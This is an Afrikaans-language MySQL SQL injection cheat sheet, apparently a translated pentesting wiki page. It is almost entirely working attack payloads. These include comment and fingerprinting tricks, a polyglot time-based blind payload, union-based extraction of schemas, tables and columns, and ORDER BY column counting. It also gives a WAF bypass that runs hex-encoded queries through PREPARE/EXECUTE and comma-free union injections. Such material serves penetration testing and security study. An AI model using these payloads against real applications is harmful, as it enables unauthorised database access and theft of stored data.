MySQL-inspuiting

Reading time: 5 minutes

Kommentaar

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interessante Funksies

Bevestig Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Nuttige funksies

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Alle inspuitings

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Stroom

Onthou dat jy in "moderne" weergawes van MySQL "information_schema.tables" kan vervang met "mysql.innodb_table_stats" (Dit kan nuttig wees om WAFs te omseil).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Slegs 1 waarde

• group_concat()
• Limit X,1

Blind een vir een

• substr(version(),X,1)='r' of substring(version(),X,1)=0x70 of ascii(substr(version(),X,1))=112
• mid(version(),X,1)='5'

Blind byvoeging

• LPAD(version(),1...lenght(version()),'1')='asd'...
• RPAD(version(),1...lenght(version()),'1')='asd'...
• SELECT RIGHT(version(),1...lenght(version()))='asd'...
• SELECT LEFT(version(),1...lenght(version()))='asd'...
• SELECT INSTR('foobarbar', 'fo...')=1

Ontdek aantal kolomme

Gebruik 'n eenvoudige ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Unie Gebaseerdf

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Leer hier verskillende opsies om 'n Mysql-inspuiting te misbruik om 'n SSRF te verkry.

WAF omseil truuks

Uitvoering van navrae deur Voorbereide Verklarings

Wanneer gestapelde navrae toegelaat word, kan dit moontlik wees om WAF's te omseil deur die hex voorstelling van die navraag wat jy wil uitvoer aan 'n veranderlike toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL verklarings te gebruik om uiteindelik die navraag uit te voer. Iets soos hierdie:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Vir meer inligting, verwys asseblief na hierdie blogpos.

Information_schema alternatiewe

Onthou dat jy in "moderne" weergawes van MySQL information_schema.tables kan vervang met mysql.innodb_table_stats of met sys.x$schema_flattened_keys of met sys.schema_table_statistics.

MySQLinjection sonder KOMMA'S

Kies 2 kolomme sonder om enige komma te gebruik (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Herwinning waardes sonder die kolomnaam

As jy op 'n stadium die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om te vind hoeveel kolomme daar is deur iets soos uit te voer:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Aangesien daar 2 kolomme is (waarvan die eerste die ID is) en die ander een die vlag, kan jy probeer om die inhoud van die vlag te bruteforce deur karakter vir karakter te probeer:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Meer inligting in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

MySQL geskiedenis

Jy kan ander uitvoerings sien binne die MySQL deur die tabel te lees: sys.x$statement_analysis

Weergawe alternatiewes

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Ander MYSQL-inspuitingsgidse

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md

Verwysings

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md